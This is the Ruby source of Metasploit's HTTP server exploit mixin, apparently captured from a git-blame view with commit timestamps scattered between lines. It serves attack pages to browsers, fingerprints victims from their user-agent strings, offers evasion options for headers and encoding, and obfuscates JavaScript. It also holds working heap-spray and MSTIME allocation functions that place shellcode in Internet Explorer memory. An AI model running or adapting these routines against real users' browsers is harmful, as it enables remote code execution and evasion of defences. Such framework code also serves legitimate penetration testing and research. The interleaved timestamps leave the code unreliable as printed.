2012-06-29 00:18:28 -05:00
# -*- coding: binary -*-
2011-05-12 20:03:55 +00:00
require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'
2005-09-22 03:24:32 +00:00
module Msf
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
2013-08-30 16:28:33 -05:00
include Msf :: Exploit :: Remote :: TcpServer
include Msf :: Auxiliary :: Report
def initialize ( info = { } )
super
register_options (
[
OptString . new ( 'URIPATH' , [ false , " The URI to use for this exploit (default is random) " ] ) ,
] , Exploit :: Remote :: HttpServer
)
register_evasion_options (
[
OptBool . new ( 'HTTP::chunked' , [ false , 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"' , 'false' ] ) ,
OptBool . new ( 'HTTP::header_folding' , [ false , 'Enable folding of HTTP headers' , 'false' ] ) ,
OptBool . new ( 'HTTP::junk_headers' , [ false , 'Enable insertion of random junk HTTP headers' , 'false' ] ) ,
OptEnum . new ( 'HTTP::compression' , [ false , 'Enable compression of HTTP responses via content encoding' , 'none' , [ 'none' , 'gzip' , 'deflate' ] ] ) ,
OptString . new ( 'HTTP::server_name' , [ true , 'Configures the Server header of all outgoing replies' , 'Apache' ] )
] , Exploit :: Remote :: HttpServer
)
# Used to keep track of resources added to the service manager by
# this module. see #add_resource and #cleanup
@my_resources = [ ]
@service_path = nil
end
#
# By default, all HTTP servers are not subject to automatic exploitation
#
def autofilter
false
end
#
# Thread-local client accessor
#
def cli
Thread . current [ :cli ]
end
#
# Thread-local client accessor
#
def cli = ( cli )
Thread . current [ :cli ] = cli
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_line ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_status ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_error ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_debug ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_warning ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_line ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_status ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_error ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_debug ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if ( ! Rex :: Text . zlib_present? and datastore [ 'HTTP::compression' ] == true )
raise RuntimeError , " zlib support was not detected, yet the HTTP::compression option was set. Don't do that! "
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
# By default, all HTTP server mixins will try to use zlib.
#
def check_dependencies
use_zlib
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service ( opts = { } )
check_dependencies
comm = datastore [ 'ListenerComm' ]
if ( comm . to_s == " local " )
comm = :: Rex :: Socket :: Comm :: Local
else
comm = nil
end
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' = > datastore [ 'SRVHOST' ] ,
'ServerPort' = > datastore [ 'SRVPORT' ] ,
'Comm' = > comm
} . update ( opts )
# Start a new HTTP server service.
self . service = Rex :: ServiceManager . start (
Rex :: Proto :: Http :: Server ,
opts [ 'ServerPort' ] . to_i ,
opts [ 'ServerHost' ] ,
datastore [ 'SSL' ] ,
{
'Msf' = > framework ,
'MsfExploit' = > self ,
} ,
opts [ 'Comm' ] ,
datastore [ 'SSLCert' ]
)
self . service . server_name = datastore [ 'HTTP::server_name' ]
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' = > Proc . new { | cli , req |
self . cli = cli
( self . respond_to? ( :filter_request_uri ) &&
2013-03-07 18:20:08 -06:00
filter_request_uri ( cli , req )
2012-07-11 02:55:36 -05:00
) ? nil : on_request_uri ( cli , req )
2013-08-30 16:28:33 -05:00
} ,
'Path' = > resource_uri
} . update ( opts [ 'Uri' ] || { } )
proto = ( datastore [ " SSL " ] ? " https " : " http " )
print_status ( " Using URL: #{ proto } :// #{ opts [ 'ServerHost' ] } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
if ( opts [ 'ServerHost' ] == '0.0.0.0' )
print_status ( " Local IP: #{ proto } :// #{ Rex :: Socket . source_address ( '1.2.3.4' ) } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
end
add_resource ( uopts )
end
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
# specified by the user in URIPATH.
#
# @note This MUST be called from {#primer} so that the service has been set
# up but we have not yet entered the listen/accept loop.
#
# @param uri [String] The resource URI that should be handled by
# {#on_request_uri}.
# @return [void]
def hardcoded_uripath ( uri )
proc = Proc . new do | cli , req |
on_request_uri ( cli , req )
end
vprint_status ( " Adding hardcoded uri #{ uri } " )
begin
add_resource ( { 'Path' = > uri , 'Proc' = > proc } )
rescue RuntimeError = > e
print_error ( " This module requires a hardcoded uri at #{ uri } . Can't run while other modules are using it. " )
raise e
end
end
# Take care of removing any resources that we created
def cleanup
# Must dup here because remove_resource modifies @my_resources
@my_resources . dup . each do | resource |
remove_resource ( resource )
end
super
end
#
# Return a Hash containing a best guess at the actual browser and operating
# system versions, based on the User-Agent header.
#
# Keys in the returned hash are similar to those expected of
# Report#report_client, and Msf::DBManager#report_host namely:
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
# +:os_name+:: one of the Msf::OperatingSystems constants
# +:os_flavor+:: something like "XP" or "Gentoo"
# +:os_lang+:: something like "English", "French", or "en-US"
# +:arch+:: one of the ARCH_* constants
#
# Unknown values may be nil.
#
def fingerprint_user_agent ( ua_str )
fp = { :ua_string = > ua_str }
# always check for IE last because everybody tries to
# look like IE
case ( ua_str . downcase )
# Chrome tries to look like Safari, so check it first
when / chrome \/ ( \ d+(:? \ . \ d+)*) /
# Matches, e.g.:
# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
fp [ :ua_name ] = HttpClients :: CHROME
fp [ :ua_ver ] = $1
when / version \/ ( \ d+(:? \ . \ d+)*) \ s*safari /
fp [ :ua_name ] = HttpClients :: SAFARI
fp [ :ua_ver ] = $1
when / firefox \/ ((:?[0-9]+ \ .)+[0-9]+) /
fp [ :ua_name ] = HttpClients :: FF
fp [ :ua_ver ] = $1
when / opera \/ ( \ d+(:? \ . \ d+)*) /
fp [ :ua_name ] = HttpClients :: OPERA
fp [ :ua_ver ] = $1
when / mozilla \/ [0-9]+ \ .[0-9] \ (compatible; msie ([0-9]+ \ .[0-9]+) /
fp [ :ua_name ] = HttpClients :: IE
fp [ :ua_ver ] = $1
else
fp [ :ua_name ] = HttpClients :: UNKNOWN
end
case ( ua_str . downcase )
when / (en-us|en-gb) /
fp [ :os_lang ] = $1
end
case ( ua_str . downcase )
when / windows /
fp [ :os_name ] = OperatingSystems :: WINDOWS
fp [ :arch ] = ARCH_X86
when / linux /
fp [ :os_name ] = OperatingSystems :: LINUX
when / iphone /
fp [ :os_name ] = OperatingSystems :: MAC_OSX
fp [ :arch ] = 'armle'
when / mac os x /
fp [ :os_name ] = OperatingSystems :: MAC_OSX
else
fp [ :os_name ] = OperatingSystems :: UNKNOWN
end
case ( ua_str . downcase )
when / windows 95 /
fp [ :os_flavor ] = '95'
when / windows 98 /
fp [ :os_flavor ] = '98'
when / windows nt 4 /
fp [ :os_flavor ] = 'NT'
when / windows nt 5.0 /
fp [ :os_flavor ] = '2000'
when / windows nt 5.1 /
fp [ :os_flavor ] = 'XP'
when / windows nt 5.2 /
fp [ :os_flavor ] = '2003'
when / windows nt 6.0 /
fp [ :os_flavor ] = 'Vista'
when / windows nt 6.1 /
fp [ :os_flavor ] = '7'
when / windows nt 6.2 /
fp [ :os_flavor ] = '8'
when / gentoo /
fp [ :os_flavor ] = 'Gentoo'
when / debian /
fp [ :os_flavor ] = 'Debian'
when / ubuntu /
fp [ :os_flavor ] = 'Ubuntu'
when / fedora /
fp [ :os_flavor ] = 'Fedora'
when / red hat|rhel /
fp [ :os_flavor ] = 'RHEL'
when / android /
fp [ :os_flavor ] = 'Android'
else
fp [ :os_flavor ] = ''
end
case ( ua_str . downcase )
when / ppc /
fp [ :arch ] = ARCH_PPC
when / x64|x86_64 /
fp [ :arch ] = ARCH_X86_64
when / i.86|wow64 /
# WOW64 means "Windows on Windows64" and is present
# in the useragent of 32-bit IE running on 64-bit
# Windows
fp [ :arch ] = ARCH_X86
when / android|iphone|ipod|ipad /
fp [ :arch ] = ARCH_ARMLE
else
fp [ :arch ] = ARCH_X86
end
fp
end
#
# Store the results of server-side User-Agent fingerprinting in the DB.
#
# Returns a Hash containing host and client information.
#
def report_user_agent ( address , request , client_opts = { } )
fp = fingerprint_user_agent ( request [ " User-Agent " ] )
host = {
:address = > address ,
:host = > address ,
}
host [ :os_name ] = fp [ :os_name ] if fp [ :os_name ]
host [ :os_flavor ] = fp [ :os_flavor ] if fp [ :os_flavor ]
host [ :arch ] = fp [ :arch ] if fp [ :arch ]
host [ :os_lang ] = fp [ :os_lang ] if fp [ :os_lang ]
report_host ( host )
client = {
:host = > address ,
:ua_string = > request [ 'User-Agent' ] ,
}
client [ :ua_name ] = fp [ :ua_name ] if fp [ :ua_name ]
client [ :ua_ver ] = fp [ :ua_ver ] if fp [ :ua_ver ]
client . merge! ( client_opts ) if client_opts
report_client ( client )
report_note (
:host = > address ,
:type = > 'http.request' ,
:data = > " #{ address } : #{ request . method } #{ request . resource } #{ client [ :os_name ] } #{ client [ :ua_name ] } #{ client [ :ua_ver ] } " ,
:update = > :unique_data
)
return host . merge ( client )
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
# NOTE: Calling #add_resource will change the results of subsequent calls
# to #get_resource!
#
# @return (see Rex::Service#add_resource)
def add_resource ( opts )
@service_path = opts [ 'Path' ]
res = service . add_resource ( opts [ 'Path' ] , opts )
# This has to go *after* the call to service.add_resource in case
# the service manager doesn't like it for some reason and raises.
@my_resources . push ( opts [ 'Path' ] )
res
end
#
# Returns the last-used resource path
#
def get_resource
# We don't want modules modifying their service_path inadvertantly, so
# give them a dup. Can be nil during module setup.
@service_path ? @service_path . dup : nil
end
#
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
#
# The address portion should be something a client would be able to route,
# but see {#srvhost_addr} for caveats.
#
def get_uri ( cli = self . cli )
ssl = ! ! ( datastore [ " SSL " ] )
proto = ( ssl ? " https:// " : " http:// " )
if ( cli and cli . peerhost )
host = Rex :: Socket . source_address ( cli . peerhost )
else
host = srvhost_addr
end
if Rex :: Socket . is_ipv6? ( host )
host = " [ #{ host } ] "
end
if ( ssl and datastore [ " SRVPORT " ] == 443 )
port = ''
elsif ( ! ssl and datastore [ " SRVPORT " ] == 80 )
port = ''
else
port = " : " + datastore [ " SRVPORT " ] . to_s
end
uri = proto + host + port + get_resource
uri
end
#
# An address to which the client can route.
#
# If available, return LHOST which should be the right thing since it
# already has to be an address the client can route to for the payload to
# work. However, LHOST will only be available if we're using a reverse_*
# payload, so if we don't have it, try to use the client's peerhost
# address. Failing that, fall back to the addr with the default gateway.
# All of this will be for naught in the case of a user behind NAT using a
# bind payload but there's nothing we can do about it.
#
# NOTE: The address will be *incorrect* in the following two situations:
# 1. LHOST is pointed at a multi/handler on some other box.
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
# using a bind payload. In that case, we don't have an LHOST and
# the source address will be internal.
#
# This can potentially be dealt with in a module by using the Host header
# from a request if such a header exists.
#
# @return [String]
def srvhost_addr
if ( datastore [ 'LHOST' ] and ( ! datastore [ 'LHOST' ] . strip . empty? ) )
host = datastore [ " LHOST " ]
else
if ( datastore [ 'SRVHOST' ] == " 0.0.0.0 " or datastore [ 'SRVHOST' ] == " :: " )
if ( respond_to? ( :sock ) and sock and sock . peerhost )
# Then this is a Passive-Aggressive module. It has a socket
# connected to the remote server from which we can deduce the
# appropriate source address.
host = Rex :: Socket . source_address ( sock . peerhost )
else
# Otherwise, this module is only a server, not a client, *and*
# the payload does not have an LHOST option. This can happen,
# for example, with a browser exploit using a download-exec
# payload. In that case, just use the address of the interface
# with the default gateway and hope for the best.
host = Rex :: Socket . source_address
end
else
host = datastore [ 'SRVHOST' ]
end
end
host
end
#
# Removes a URI resource.
#
def remove_resource ( name )
# Guard against removing resources added by other modules
if @my_resources . include? ( name )
@my_resources . delete ( name )
service . remove_resource ( name )
end
end
#
# Closes a client connection.
#
def close_client ( cli )
service . close_client ( cli )
end
#
# Creates an HTTP response packet.
#
def create_response ( code = 200 , message = " OK " , proto = Rex :: Proto :: Http :: DefaultProtocol )
res = Rex :: Proto :: Http :: Response . new ( code , message , proto ) ;
res [ 'Content-Type' ] = 'text/html'
res
end
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response ( cli , body , headers = { } )
response = create_response
response [ 'Content-Type' ] = 'text/html'
response . body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
if ( datastore [ 'HTTP::compression' ] )
self . use_zlib # make sure...
response . compress = datastore [ 'HTTP::compression' ]
end
if ( datastore [ 'HTTP::chunked' ] == true )
response . auto_cl = false
response . transfer_chunked = true
end
if ( datastore [ 'HTTP::header_folding' ] == true )
response . headers . fold = 1
end
if ( datastore [ 'HTTP::junk_headers' ] == true )
response . headers . junk_headers = 1
end
headers . each_pair { | k , v | response [ k ] = v }
cli . send_response ( response )
end
#
# Sends a 302 redirect to the client
#
def send_redirect ( cli , location = '/' , body = '' , headers = { } )
response = create_response ( 302 , 'Moved' )
response [ 'Content-Type' ] = 'text/html'
response [ 'Location' ] = location
response . body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
headers . each_pair { | k , v | response [ k ] = v }
cli . send_response ( response )
end
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect ( cli , location )
send_redirect ( cli , get_resource + location )
end
#
# Sends a 404
#
def send_not_found ( cli )
resp_404 = create_response ( 404 , 'Not Found' )
resp_404 . body = %Q{ \
2008-07-01 01:44:56 +00:00
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
2008-08-08 02:37:54 +00:00
<p>The requested URL was not found on this server.</p>
2008-07-01 01:44:56 +00:00
<hr>
<address>Apache/2.2.9 (Unix) Server at #{ datastore [ 'LHOST' ] } Port #{ datastore [ 'SRVPORT' ] } </address>
</body></html>
}
2013-08-30 16:28:33 -05:00
cli . send_response ( resp_404 )
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore [ 'URIPATH' ] || random_uri
path = '/' + path if path !~ / ^ \/ /
return path
end
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
" / " + Rex :: Text . rand_text_alphanumeric ( rand ( 10 ) + 6 )
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
def regenerate_payload ( cli , arch = nil , platform = nil , target = nil )
pcode = nil
# If the payload fails to generate for some reason, send a 403.
if ( ( pcode = super ( cli , arch , platform , target ) ) == nil )
print_error ( " Failed to generate payload, sending 403. " )
cli . send_response (
create_response ( 403 , 'Forbidden' ) )
return nil
end
pcode
end
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
# Modules should override this method.
#
def on_request_uri ( cli , request )
end
2005-09-22 03:24:32 +00:00
end
2006-01-27 22:02:35 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
2006-12-10 02:55:25 +00:00
module Exploit::Remote::HttpServer::HTML
2006-01-27 22:02:35 +00:00
2013-08-30 16:28:33 -05:00
include Msf :: Exploit :: Remote :: HttpServer
2006-01-27 22:02:35 +00:00
protected
2013-08-30 16:28:33 -05:00
def initialize ( info = { } )
super
register_evasion_options (
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum . new ( 'HTML::unicode' , [ false , 'Enable HTTP obfuscation via unicode' , 'none' , [ 'none' , 'utf-16le' , 'utf-16be' , 'utf-16be-marker' , 'utf-32le' , 'utf-32be' ] ] ) ,
OptEnum . new ( 'HTML::base64' , [ false , 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)' , 'none' , [ 'none' , 'plain' , 'single_pad' , 'double_pad' , 'random_space_injection' ] ] ) ,
OptInt . new ( 'HTML::javascript::escape' , [ false , 'Enable HTML obfuscation via HTML escaping (number of iterations)' , 0 ] ) ,
] , Exploit :: Remote :: HttpServer :: HTML )
end
#
# Obfuscates symbols found within a javascript string.
#
# Returns an ObfuscateJS object
#
def obfuscate_js ( javascript , opts )
js = Rex :: Exploitation :: ObfuscateJS . new ( javascript , opts )
js . obfuscate
return js
end
#
# Encrypts a given javascript string using the provided key.
#
# Returns a string containing the encrypted string and a loader
#
def encrypt_js ( javascript , key )
js_encoded = Rex :: Exploitation :: EncryptJS . encrypt ( javascript , key )
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib ( custom_js = '' , opts = { } )
Rex :: Exploitation :: HeapLib . new ( custom_js , opts ) . to_s
end
def js_base64
js = <<-ENDJS
/ / Base64 implementation stolen from http : / / www . webtoolkit . info / javascript - base64 . html
/ / variable names changed to make obfuscation easier
var Base64 = {
/ / private property
_keyStr : " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= " ,
/ / private method
_utf8_encode : function ( input ) {
input = input . replace ( / \\ r \\ n / g , " \\ n " ) ;
var utftext = " " ;
var input_idx ;
for ( input_idx = 0 ; input_idx < input . length ; input_idx + + ) {
var chr = input . charCodeAt ( input_idx ) ;
if ( chr < 128 ) {
utftext += String . fromCharCode ( chr ) ;
}
else if ( ( chr > 127 ) && ( chr < 2048 ) ) {
utftext += String . fromCharCode ( ( chr >> 6 ) | 192 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
} else {
utftext += String . fromCharCode ( ( chr >> 12 ) | 224 ) ;
utftext += String . fromCharCode ( ( ( chr >> 6 ) & 63 ) | 128 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
}
}
return utftext ;
} ,
/ / public method for encoding
encode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 , enc1 , enc2 , enc3 , enc4 ;
var input_idx = 0 ;
input = Base64 . _utf8_encode ( input ) ;
while ( input_idx < input . length ) {
chr1 = input . charCodeAt ( input_idx + + ) ;
chr2 = input . charCodeAt ( input_idx + + ) ;
chr3 = input . charCodeAt ( input_idx + + ) ;
enc1 = chr1 >> 2 ;
enc2 = ( ( chr1 & 3 ) << 4 ) | ( chr2 >> 4 ) ;
enc3 = ( ( chr2 & 15 ) << 2 ) | ( chr3 >> 6 ) ;
enc4 = chr3 & 63 ;
if ( isNaN ( chr2 ) ) {
enc3 = enc4 = 64 ;
} else if ( isNaN ( chr3 ) ) {
enc4 = 64 ;
}
output = output +
this . _keyStr . charAt ( enc1 ) + this . _keyStr . charAt ( enc2 ) +
this . _keyStr . charAt ( enc3 ) + this . _keyStr . charAt ( enc4 ) ;
}
return output ;
} ,
/ / public method for decoding
decode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 ;
var enc1 , enc2 , enc3 , enc4 ;
var i = 0 ;
input = input . replace ( / [^A-Za-z0-9 \\ + \\ / \ \ = ] / g , " " ) ;
while ( i < input . length ) {
enc1 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc2 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc3 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc4 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
chr1 = ( enc1 << 2 ) | ( enc2 >> 4 ) ;
chr2 = ( ( enc2 & 15 ) << 4 ) | ( enc3 >> 2 ) ;
chr3 = ( ( enc3 & 3 ) << 6 ) | enc4 ;
output = output + String . fromCharCode ( chr1 ) ;
if ( enc3 != 64 ) {
output = output + String . fromCharCode ( chr2 ) ;
}
if ( enc4 != 64 ) {
output = output + String . fromCharCode ( chr3 ) ;
}
}
output = Base64 . _utf8_decode ( output ) ;
return output ;
} ,
_utf8_decode : function ( utftext ) {
var string = " " ;
var input_idx = 0 ;
var chr1 = 0 ;
var chr2 = 0 ;
var chr3 = 0 ;
while ( input_idx < utftext . length ) {
chr1 = utftext . charCodeAt ( input_idx ) ;
if ( chr1 < 128 ) {
string += String . fromCharCode ( chr1 ) ;
input_idx + + ;
}
else if ( ( chr1 > 191 ) && ( chr1 < 224 ) ) {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
string += String . fromCharCode ( ( ( chr1 & 31 ) << 6 ) | ( chr2 & 63 ) ) ;
input_idx += 2 ;
} else {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
chr3 = utftext . charCodeAt ( input_idx + 2 ) ;
string += String . fromCharCode ( ( ( chr1 & 15 ) << 12 ) | ( ( chr2 & 63 ) << 6 ) | ( chr3 & 63 ) ) ;
input_idx += 3 ;
}
}
return string ;
}
} ;
ENDJS
opts = {
'Symbols' = > {
'Variables' = > %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 } ,
'Methods' = > %w{ _utf8_encode _utf8_decode encode decode }
}
}
js = :: Rex :: Exploitation :: ObfuscateJS . new ( js , opts )
return js
end
#
# Downloads data using ajax
#
# Supported arguments:
# method => Optional. HTTP Verb (eg. GET/POST)
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
# must use a relative path, otherwise you will be blocked by the browser.
# data => Optional. Data to pass to the server
#
# Example of using the ajax_download() function:
# For IE, your web server has to return this header to download binary data:
# "text/plain; charset=x-user-defined"
# <script>
# #{js_ajax_download}
#
# ajax_download({path:"/test.bin"});
# </script>
#
def js_ajax_download
%Q|function ajax_download(oArg) {
method = oArg.method;
path = oArg.path;
data = oArg.data;
if (method == undefined) { method = "GET"; }
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(method, path, false);
xmlHttp.send(data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}
return null;
}
|
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
# pointers to strings that we control, and each string should reside in its own buffer.
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
# writing style, so make sure you have the following before using:
# * You must have the following at the beginning of your HTML file:
# <!doctype html>
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
# * You must have the following in <meta>:
# <meta>
# <?IMPORT namespace="t" implementation="#default#time2">
# </meta>
#
# The "mstime_malloc" JavaScript function supports the following arguments:
# shellcode => The shellcode to place.
# offset => Optional. The pointer index that points to the shellcode.
# heapBlockSize => Object size.
# objId => The ID to your ANIMATECOLOR element.
#
# Example of using "js_mstime_malloc":
# <script>
# #{js_mstime_malloc}
#
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
# offset = 3;
# s = 0x58;
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
# </script>
#
def js_mstime_malloc
%Q|
function mstime_malloc(oArg) {
shellcode = oArg.shellcode;
offset = oArg.offset;
heapBlockSize = oArg.heapBlockSize;
objId = oArg.objId;
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
if (offset == undefined) { offset = 0; }
if (heapBlockSize == undefined) { throw "Size must be defined"; }
buf = "";
for (i=0; i < heapBlockSize/4; i++) {
if (i == offset) {
if (i == 0) { buf += shellcode; }
else { buf += ";" + shellcode; }
}
else {
buf += ";##{Rex::Text.rand_text_hex(6)}";
}
}
e = document.getElementById(objId);
if (e == null) {
eleId = "#{Rex::Text.rand_text_alpha(5)}"
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
document.body.innerHTML = document.body.innerHTML + acTag;
e = document.getElementById(eleId);
}
try { e.values = buf; }
catch (e) {}
}
|
end
#
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
# publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode
# should land at address 0x0c0d2020, as this is the most consistent location across
# various versions.
#
# The "sprayHeap" JavaScript function supports the following arguments:
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
# objId => Optional. The ID for a <div> HTML tag.
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
# heapBlockSize => Optional. Allocation size, default: 0x80000
# maxAllocs => Optional. Number of allocation calls, default: 0x350
#
# Example of using the 'sprayHeap' function:
# <script>
# #{spray}
#
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
# </script>
#
def js_property_spray
sym_div_container = Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 )
js = %Q|
var #{sym_div_container};
function sprayHeap( oArg ) {
shellcode = oArg.shellcode;
offset = oArg.offset;
heapBlockSize = oArg.heapBlockSize;
maxAllocs = oArg.maxAllocs;
objId = oArg.objId;
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
if (offset == undefined) { offset = 0x00; }
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
if (maxAllocs == undefined) { maxAllocs = 0x350; }
if (offset > 0x800) { throw "Bad alignment"; }
#{sym_div_container} = document.getElementById(objId);
if (#{sym_div_container} == null) {
#{sym_div_container} = document.createElement("div");
}
#{sym_div_container}.style.cssText = "display:none";
var data;
junk = unescape("%u2020%u2020");
while (junk.length < offset+0x1000) junk += junk;
data = junk.substring(0,offset) + shellcode;
data += junk.substring(0,0x800-offset-shellcode.length);
while (data.length < heapBlockSize) data += data;
for (var i = 0; i < maxAllocs; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (heapBlockSize-2)/2);
#{sym_div_container}.appendChild(obj);
}
}
|
end
def js_heap_spray
js = %Q|var memory = new Array();
2010-03-02 02:26:08 +00:00
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
2013-08-30 16:28:33 -05:00
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) {
memory[index] = retSlide + shellcode;
}
2010-03-02 02:26:08 +00:00
}
|
2013-08-30 16:28:33 -05:00
opts = {
'Symbols' = > {
'Variables' = > %w{ shellcode retSlide payLoadSize memory index
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
heapBlockCnt } ,
'Methods' = > %w{ sprayHeap }
}
}
js = :: Rex :: Exploitation :: ObfuscateJS . new ( js , opts )
return js
end
def js_os_detect
return :: Rex :: Exploitation :: JavascriptOSDetect . new
end
# Transmits a html response to the supplied client
